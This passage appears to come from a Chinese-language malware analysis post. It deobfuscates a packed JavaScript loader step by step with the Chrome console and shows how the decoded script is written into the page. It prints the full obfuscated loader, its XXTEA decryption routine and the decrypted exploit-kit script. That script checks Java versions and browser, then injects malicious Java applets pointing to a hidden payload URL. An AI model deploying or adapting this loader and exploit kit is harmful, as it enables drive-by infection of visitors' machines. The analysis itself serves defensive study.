67}112=106(124+121);96 122(71,127){84(71==""){79""}68 67=111(71,126);68 117=111(127,126);68 99=67.83-1;68 81=67[99-1],80=67[0],116=210;68 97,109,128=211.213(6+52/(99+1)),90=128*116&98;88(90!=0){109=90>>>2&3;110(68 86=99;86>0;86--){81=67[86-1];97=(81>>>5^80<<2)+(80>>>3^81<<4)^(90^80)+(117[86&3^109]^81);80=67[86]=67[86]-97&98}81=67[99];97=(81>>>5^80<<2)+(80>>>3^81<<4)^(90^80)+(117[86&3^109]^81);80=67[0]=67[0]-97&98;90=90-116&98}79 120(67,218)}103=106(103);107="221/220/230+219+217+223+228+229+227+215/214/204+202/201+206+"+130+"+209/+231+247/254+255+253+252/249/250+259/261+258/248+238/236/235+232/234/240/245+246+243/198/153+152/165/166+167+172+178/179+257+216/222/224/225+200/208";107=125(122(129(107),112));233[108][103](107);'
参数a： 10 参数c： 263 参数k： xmPpPuD['s'+'\x70\x6C\x69'+'t'](xmPpPub0) 参数e和d： <script>0,{}
因此最终得到的返回值p正式eval函数的参数，为了得到p，我们借助chrome的控制台来模拟解析这段javascript并得到返回值p： "var AVgHbu2f=unescape,GIEMslIELDjE="%31"+"%32"+"%33"+"%34"+"%35"+"%36"+"%37"+"%38",X3cQCMIIF="%64"+"%6f"+"%63"+"%75"+"%6d"+"%65"+"%6e%74",KEY="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",ErTiUlaxlkP="%77"+"%72"+"%69"+"%74"+"%65",BMOYPRD4H;function utf8to16(str){var out,i,len,c;var char2,char3;out=[];len=str.length;i=0;while(i<len){c=str.charCodeAt(i++);switch(c>>4){case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:out[out.length]=str.charAt(i-1);break;case 12:case 13:char2=str.charCodeAt(i++);out[out.length]=String['fromCharCode'](((c&0x1F)<<6)|(char2&0x3F));break;case 14:char2=str.charCodeAt(i++);char3=str.charCodeAt(i++);out[out.length]=String.fromCharCode(((c&0x0F)<<12)|((char2&0x3F)<<6)|((char3&0x3F)<<0));break}}return out.join('')}var NtCion="%39"+"%63"+"%6b"+"%63"+"%6b"+"%63"+"%6b";var nbChar=new Array(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);X3cQCMIIF=AVgHbu2f(X3cQCMIIF);function nbcode(str){var c1,c2,c3,c4;var i,len,out;len=str.length;i=0;out="";while(i<len){do{c1=nbChar[str.charCodeAt(i++)&0xff]}while(i<len&&c1==-1);if(c1==-1)break;do{c2=nbChar[str.charCodeAt(i++)&0xff]}while(i<len&&c2==-1);if(c2==-1)break;out+=String.fromCharCode((c1<<2)|((c2&0x30)>>4));do{c3=str.charCodeAt(i++)&0xff;if(c3==61)return out;c3=nbChar[c3]}while(i<len&&c3==-1);if(c3==-1)break;out+=String.fromCharCode(((c2&0XF)<<4)|((c3&0x3C)>>2));do{c4=str.charCodeAt(i++)&0xff;if(c4==61)return out;c4=nbChar[c4]}while(i<len&&c4==-1);if(c4==-1)break;out+=String.fromCharCode(((c3&0x03)<<6)|c4)}return out}function long2str(v,w){var vl=v.length;var sl=v[vl-1]&0xffffffff;for(var i=0;i<vl;i++){v[i]=String.fromCharCode(v[i]&0xff,v[i]>>>8&0xff,v[i]>>>16&0xff,v[i]>>>24&0xff)}if(w){return v.join('').substring(0,sl)}else{return v.join('')}}function str2long(s,w){var len=s.length;var v=[];for(var i=0;i<len;i+=4){v[i>>2]=s.charCodeAt(i)|s.charCodeAt(i+1)<<8|s.charCodeAt(i+2)<<16|s.charCodeAt(i+3)<<24}if(w){v[v.length]=len}return v}BMOYPRD4H=AVgHbu2f(GIEMslIELDjE+NtCion);function nbencode(str,key){if(str==""){return""}var v=str2long(str,false);var k=str2long(key,false);var n=v.length-1;var z=v[n-1],y=v[0],delta=0x9E3779B9;var mx,e,q=Math.floor(6+52/(n+1)),sum=q*delta&0xffffffff;while(sum!=0){e=sum>>>2&3;for(var p=n;p>0;p--){z=v[p-1];mx=(z>>>5^y<<2)+(y>>>3^z<<4)^(sum^y)+(k[p&3^e]^z);y=v[p]=v[p]-mx&0xffffffff}z=v[n];mx=(z>>>5^y<<2)+(y>>>3^z<<4)^(sum^y)+(k[p&3^e]^z);y=v[0]=v[0]-mx&0xffffffff;sum=sum-delta&0xffffffff}return long2str(v,true)}ErTiUlaxlkP=AVgHbu2f(ErTiUlaxlkP);t="U8owSdp9HGnqLZ9r9bFY8Zu6oBxf9ZHZRRJj00L74qVZJlvDStw66LVaC1y0xXMHTHqSM0fSZzUM2EAQnICGMiYSX5EuR5zyB0MIWDSPkxxRR9uwe0bqtmvrsMoF9nB4SwxfQRiW/tB1dGSfPFRk1vaZXZ9hmSxN6OUwRnMRpmkrK9lUMXl87MJJKTx0zdBj37C7mBtMcnwfE7j98Ecol8HWWYOVFXrB8eo8CfDrKCdWDAq4vCe5hFQNxA274qZQK7Mg1ZT145ugZNCS4T6NL2Pyccy9X2SNCpbcpfKCOXzh410xwzuQUAq0dN/JrmN230FoR+m2NSiH6l2FzLG7orBqPSg+zOCRZc8BHU+UmsTwEIduUUMvSNKSWshLCd2Zef+JZEBdqbScxedR38nOwShp9U4BpuY5KFY14CFwY53lqOHmJZlNY1SRGfCP8BjsKl04OF5en7qjd1B0lwddfnxQHG0cAGYymgOV8kqbf5r8+1b6+iqFf0HWojduuDeEUczPmODLX5syXoAGBVI86VRbXBs0SOFInqApsPy3qGKsD1rmTw+b9b6RWUbaiupW3e5wbCUek3mREtTVgF77ynaRE78GV9kh7KkuUsHUGcJ2MTRZ6Pskyja7udEh5Xn7lNnu5d4Z8ObG94BiXrKbNSrXq9kc6kLchvMBLZOzWaL8iTiko6U/Xv5DpHJI3KQfbiJPeolHfwAohK48fLmMLIQ9DCEuswVs8pPwqU5HTmvhYoXhSWGRpaqZi5SbP3sfDXFOF/2T9+B1W4W8sRUROX6RhZHFe87QuYe0irnEtyc4q1up6sp6mbkn6rFJ4fd4zMheoXadMRkZ9LpxFtrYXZl7Z46p9asgTGEPnkV5y3A7Q0ZlElDLLZcJHHjH6De9zBWhL7wK7sZEIWynKpih6qhrCegL7zMsk7Jr/Fq1A2DYfZqISXrA3d2IJjwT5v9szaO1hJSbG2P0hBIGde0Bz2nWV+06mQx5+"+KEY+"+a/+1uoOnJ8cqd+vEeD/jPLTMisNZEOos8DtiaWc1Lnw7ceIJQO1EMuisaLPLH5jn4To+UUMmqy5pXNmDTLLI+9fzdzGitYU7D9yZmP6b6HHIBOTJQZKPrkDGfGc951oRipvP3Z+kQilw0PR3rfNWmaXV/nvGi8osGldYauxoVM5MCvqXHUDjxMaXUSD7AeBMt4NFUOeaHTRO3g2OrKdYSFTM8B9yox8y6B/m5C44eIjFmW3VoOT9eqOZrNP9U2uaoNIH4B6oLG+1m8sq1lsvkDzk6B2DB1JwsvXfah9eDKWM5D6qtpaPM6/U002EEkqW13kqzlE6zojX7Ynyy4Nclc55d6t0PyY36MuVFYIdOjNqwXwv9EN2rqSnHzCqyi9GRzqywcmSTWso7tyiloq9bNvcVzFvU37haiIsOrergiQgXNS7sZZICw0EYaG4rivuaaDrNBBJ+YFIn9/ETrdXDjteq+GMYWq23s9KdInnMmwpTnW5SCAQArasDvOwt41t5wESrYd6n4j/cZmw/TnFjIvZMzz7PnxtBtP+SLHtQeORnHYCi/1FMr0V57QECrG8B5CZnJf9vK/5PitiiDb31Yom5aitPoOzRsNijIK8T1LgD8p/vKAgYuuGFuBPMbL78UeU9ocFhbWuh6bSeB4gc6+OnWaRzgBCa138REQHsEs8fY6XHElZEOBFjujI7QiTkHAVVzi7+lh3s96y1TlYSr2bGsot5X2q0yhbRNIzg2I5/FOiuEHEMBm4/EIpYs+ffSUMbsy7QyGWsNH3msndoDKD8KeSUqOvkvQIP2o9Nt8bkJC2MtYeovBQ2k5lzHSaTHBGvQcF69okljMDEDnH3zZ1k34M/jv4e/wLyDMygHDhIpLs69YIiIYzsgB4PIXZEE2TPagrn2+RQjjJLbL+mqmV2ovxhuQmCimVzwxbzwyj05rIBAIt+uqc2noMSwTvgJRFBA6iexSTcTp003D1/5ghT05uKtuBA5WRKQ+UOKuBPUkF01Q3Gck2dJ08EJpNKezld2P+I5f4zTnCCs/NFfs4RnsEcvSsA0I2LaBBdftn10aKQaoxZlwXFtLCOm4KTpWEHSCCkn4LxuPywO9MHyCljq9Dj9P/d/ZMn3fjmrGTF4oZf+bo2L/iluHL4SwKTqtHMEpqTNlPmsYmLJy4fyYFp3MGU3hvfF5SerLqfhpepbv8BeJ5BZ10dDrylC";t=utf8to16(nbencode(nbcode(t),BMOYPRD4H));window[X3cQCMIIF][ErTiUlaxlkP](t);"
整理后的js代码如下： var AVgHbu2f=unescape; var GIEMslIELDjE="%31"+"%32"+"%33"+"%34"+"%35"+"%36"+"%37"+"%38"; var X3cQCMIIF="%64"+"%6f"+"%63"+"%75"+"%6d"+"%65"+"%6e%74"; var KEY="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"; var ErTiUlaxlkP="%77"+"%72"+"%69"+"%74"+"%65"; var BMOYPRD4H; function utf8to16(str) { var out,i,len,c;var char2,char3; out=[]; len=str.length; i=0; while(i<len) { c=str.charCodeAt(i++); switch(c>>4) { case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:out[out.length]=str.charAt(i-1);break; case 12:case 13:char2=str.charCodeAt(i++);out[out.length]=String['fromCharCode'](((c&0x1F)<<6)|(char2&0x3F));break; case 14:char2=str.charCodeAt(i++);char3=str.charCodeAt(i++);out[out.length]=String.fromCharCode(((c&0x0F)<<12)|((char2&0x3F)<<6)|((char3&0x3F)<<0));break } } return out.join('') } var NtCion="%39"+"%63"+"%6b"+"%63"+"%6b"+"%63"+"%6b"; var nbChar=new Array(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1); X3cQCMIIF=AVgHbu2f(X3cQCMIIF); function nbcode(str) { var c1,c2,c3,c4;var i,len,out; len=str.length;i=0;out=""; while(i<len) { do { c1=nbChar[str.charCodeAt(i++)&0xff] } while(i<len&&c1==-1); if(c1==-1) break; do { c2=nbChar[str.charCodeAt(i++)&0xff] } while(i<len&&c2==-1); if(c2==-1) break; out+=String.fromCharCode((c1<<2)|((c2&0x30)>>4)); do { c3=str.charCodeAt(i++)&0xff; if(c3==61)return out; c3=nbChar[c3] } while(i<len&&c3==-1); if(c3==-1)break; out+=String.fromCharCode(((c2&0XF)<<4)|((c3&0x3C)>>2)); do { c4=str.charCodeAt(i++)&0xff;if(c4==61)return out;c4=nbChar[c4] }while(i<len&&c4==-1); if(c4==-1)break; out+=String.fromCharCode(((c3&0x03)<<6)|c4) } return out } function long2str(v,w) { var vl=v.length;var sl=v[vl-1]&0xffffffff; for(var i=0;i<vl;i++) { v[i]=String.fromCharCode(v[i]&0xff,v[i]>>>8&0xff,v[i]>>>16&0xff,v[i]>>>24&0xff) } if(w){return v.join('').substring(0,sl)} else{return v.join('')} } function str2long(s,w) { var len=s.length;var v=[]; for(var i=0;i<len;i+=4) {v[i>>2]=s.charCodeAt(i)|s.charCodeAt(i+1)<<8|s.charCodeAt(i+2)<<16|s.charCodeAt(i+3)<<24} if(w){v[v.length]=len} return v } BMOYPRD4H=AVgHbu2f(GIEMslIELDjE+NtCion); function nbencode(str,key) { if(str==""){return""} var v=str2long(str,false); var k=str2long(key,false); var n=v.length-1; var z=v[n-1],y=v[0],delta=0x9E3779B9; var mx,e,q=Math.floor(6+52/(n+1)),sum=q*delta&0xffffffff; while(sum!=0) { e=sum>>>2&3; for(var p=n;p>0;p--) { z=v[p-1]; mx=(z>>>5^y<<2)+(y>>>3^z<<4)^(sum^y)+(k[p&3^e]^z); y=v[p]=v[p]-mx&0xffffffff }z=v[n]; mx=(z>>>5^y<<2)+(y>>>3^z<<4)^(sum^y)+(k[p&3^e]^z); y=v[0]=v[0]-mx&0xffffffff;sum=sum-delta&0xffffffff } return long2str(v,true) } ErTiUlaxlkP=AVgHbu2f(ErTiUlaxlkP); t="U8owSdp9HGnqLZ9r9bFY8Zu6oBxf9ZHZRRJj00L74qVZJlvDStw66LVaC1y0xXMHTHqSM0fSZzUM2EAQnICGMiYSX5EuR5zyB0MIWDSPkxxRR9uwe0bqtmvrsMoF9nB4SwxfQRiW/tB1dGSfPFRk1vaZXZ9hmSxN6OUwRnMRpmkrK9lUMXl87MJJKTx0zdBj37C7mBtMcnwfE7j98Ecol8HWWYOVFXrB8eo8CfDrKCdWDAq4vCe5hFQNxA274qZQK7Mg1ZT145ugZNCS4T6NL2Pyccy9X2SNCpbcpfKCOXzh410xwzuQUAq0dN/JrmN230FoR+m2NSiH6l2FzLG7orBqPSg+zOCRZc8BHU+UmsTwEIduUUMvSNKSWshLCd2Zef+JZEBdqbScxedR38nOwShp9U4BpuY5KFY14CFwY53lqOHmJZlNY1SRGfCP8BjsKl04OF5en7qjd1B0lwddfnxQHG0cAGYymgOV8kqbf5r8+1b6+iqFf0HWojduuDeEUczPmODLX5syXoAGBVI86VRbXBs0SOFInqApsPy3qGKsD1rmTw+b9b6RWUbaiupW3e5wbCUek3mREtTVgF77ynaRE78GV9kh7KkuUsHUGcJ2MTRZ6Pskyja7udEh5Xn7lNnu5d4Z8ObG94BiXrKbNSrXq9kc6kLchvMBLZOzWaL8iTiko6U/Xv5DpHJI3KQfbiJPeolHfwAohK48fLmMLIQ9DCEuswVs8pPwqU5HTmvhYoXhSWGRpaqZi5SbP3sfDXFOF/2T9+B1W4W8sRUROX6RhZHFe87QuYe0irnEtyc4q1up6sp6mbkn6rFJ4fd4zMheoXadMRkZ9LpxFtrYXZl7Z46p9asgTGEPnkV5y3A7Q0ZlElDLLZcJHHjH6De9zBWhL7wK7sZEIWynKpih6qhrCegL7zMsk7Jr/Fq1A2DYfZqISXrA3d2IJjwT5v9szaO1hJSbG2P0hBIGde0Bz2nWV+06mQx5+"+KEY+"+a/+1uoOnJ8cqd+vEeD/jPLTMisNZEOos8DtiaWc1Lnw7ceIJQO1EMuisaLPLH5jn4To+UUMmqy5pXNmDTLLI+9fzdzGitYU7D9yZmP6b6HHIBOTJQZKPrkDGfGc951oRipvP3Z+kQilw0PR3rfNWmaXV/nvGi8osGldYauxoVM5MCvqXHUDjxMaXUSD7AeBMt4NFUOeaHTRO3g2OrKdYSFTM8B9yox8y6B/m5C44eIjFmW3VoOT9eqOZrNP9U2uaoNIH4B6oLG+1m8sq1lsvkDzk6B2DB1JwsvXfah9eDKWM5D6qtpaPM6/U002EEkqW13kqzlE6zojX7Ynyy4Nclc55d6t0PyY36MuVFYIdOjNqwXwv9EN2rqSnHzCqyi9GRzqywcmSTWso7tyiloq9bNvcVzFvU37haiIsOrergiQgXNS7sZZICw0EYaG4rivuaaDrNBBJ+YFIn9/ETrdXDjteq+GMYWq23s9KdInnMmwpTnW5SCAQArasDvOwt41t5wESrYd6n4j/cZmw/TnFjIvZMzz7PnxtBtP+SLHtQeORnHYCi/1FMr0V57QECrG8B5CZnJf9vK/5PitiiDb31Yom5aitPoOzRsNijIK8T1LgD8p/vKAgYuuGFuBPMbL78UeU9ocFhbWuh6bSeB4gc6+OnWaRzgBCa138REQHsEs8fY6XHElZEOBFjujI7QiTkHAVVzi7+lh3s96y1TlYSr2bGsot5X2q0yhbRNIzg2I5/FOiuEHEMBm4/EIpYs+ffSUMbsy7QyGWsNH3msndoDKD8KeSUqOvkvQIP2o9Nt8bkJC2MtYeovBQ2k5lzHSaTHBGvQcF69okljMDEDnH3zZ1k34M/jv4e/wLyDMygHDhIpLs69YIiIYzsgB4PIXZEE2TPagrn2+RQjjJLbL+mqmV2ovxhuQmCimVzwxbzwyj05rIBAIt+uqc2noMSwTvgJRFBA6iexSTcTp003D1/5ghT05uKtuBA5WRKQ+UOKuBPUkF01Q3Gck2dJ08EJpNKezld2P+I5f4zTnCCs/NFfs4RnsEcvSsA0I2LaBBdftn10aKQaoxZlwXFtLCOm4KTpWEHSCCkn4LxuPywO9MHyCljq9Dj9P/d/ZMn3fjmrGTF4oZf+bo2L/iluHL4SwKTqtHMEpqTNlPmsYmLJy4fyYFp3MGU3hvfF5SerLqfhpepbv8BeJ5BZ10dDrylC"; t=utf8to16(nbencode(nbcode(t),BMOYPRD4H)); //window[X3cQCMIIF][ErTiUlaxlkP](t); 主要看后面的调用语句，看上去像是建立了一个javascript的window对象， 注释掉window[X3cQCMIIF][ErTiUlaxlkP](t)用chrome控制台查看变量内容： >t "<script> function encode() { var omg = ckl(), x1 = new Array, x2 = ''; for(var i=0;i<omg.length;i++) { if(omg[i] == 159) { //x2 += ''; } else { x1[i] = omg[i] - 159; x2 += String.fromCharCode(x1[i]); } } return x2; } var wmck=deployJava.getJREs()+""; wmck=parseInt(wmck.replace(/\.|\_/g,'')); var kaka = navigator.userAgent.toLowerCase(); var ckurl = encode(); if( (wmck == 170) || (wmck > 17006 && wmck < 17011) ) { if(kaka.indexOf("msie 6") > -1) { document.writeln("<object classid=\'clsid:8ad9c840-044e-11d1-b3e9-00805f499d93\' width=\'600\' height=\'400\'><param name=xiaomaolv value=\'"+ckurl+"\'><param name=bn value=\'woyouyizhixiaomaol\'><param name=si value=\'conglaiyebuqi\'><param name=bs value=\'748\'><param name=CODE value=\'xml20130422.XML20130422.class\'><param name=archive value=\'ck.jpg\'><\/object>"); } else { document.write("<br>"); var gondady=document.createElement("body"); document.body.appendChild(gondady); var gondad=document.createElement("applet"); gondad.width="600"; gondad.height="400"; gondad.archive="ck.jpg"; gondad.code="xml20130422.XML20130422.class"; gondad.setAttribute("xiaomaolv",ckurl); gondad.setAttribute("bn","woyouyizhixiaomaol"); gondad.setAttribute("si","conglaiyebuqi"); gondad.setAttribute("bs","748"); document.body.appendChild(gondad); } } else if( wmck >= 17000 && wmck < 17007) { if(kaka.indexOf("msie 6") > -1) { document.writeln("<object classid=\'clsid:8ad9c840-044e-11d1-b3e9-00805f499d93\' width=\'200\' height=\'200\'><param name=xiaomaolv value=\'"+ckurl+"\'><param name=bn value=\'woyouyizhixiaomaolv\'><param name=si value=\'conglaiyebuqi\'><param name=bs value=\'748\'><param name=CODE value=\'what_the_fucking_day.ckwmcc.class\'><param name=archive value=\'wmck.jpg\'><\/object>"); } else { document.write("<br>"); var gondady=document.createElement("body"); document.body.appendChild(gondady); var gondad=document.createElement("applet"); gondad.width="256"; gondad.height="256"; gondad.archive="wmck.jpg"; gondad.code="what_the_fucking_day.ckwmcc.class"; gondad.setAttribute("xiaomaolv",ckurl); gondad.setAttribute("bn","woyouyizhixiaomaolv"); gondad.setAttribute("si","conglaiyebuqi"); gondad.setAttribute("bs","748"); document.body.appendChild(gondad); } } else if(wmck<=16027) { var ckckx = document.createElement('applet'); ckckx.archive="ckwm.jpg"; ckckx.code="ckwmckwmckwmExp.class"; ckckx.width="1"; ckckx.height="1"; document.body.appendChild(ckckx); var ckcks=document.createElement('param'); ckcks.name="dota"; ckcks.value=ckurl; ckckx.appendChild(ckcks); } else { document.writeln("<object classid=\'clsid:8ad9c840-044e-11d1-b3e9-00805f499d93\' width=\'600\' height=\'400\'><param name=xiaomaolv value=\'"+ckurl+"\'><param name=bn value=\'woyouyizhixiaomaol\'><param name=si value=\'conglaiyebuqi\'><param name=bs value=\'748\'><param name=CODE value=\'xml20130422.XML20130422.class\'><param name=archive value=\'ck.jpg\'><\/object>"); } </script> " >X3cQCMIIF
"document"
>ErTiUlaxlkP
"write"
其中包含的恶意代码就可以看到了，这里通过javascript的window对象调用document.write将恶意的javascript写入页面。  |
|
|
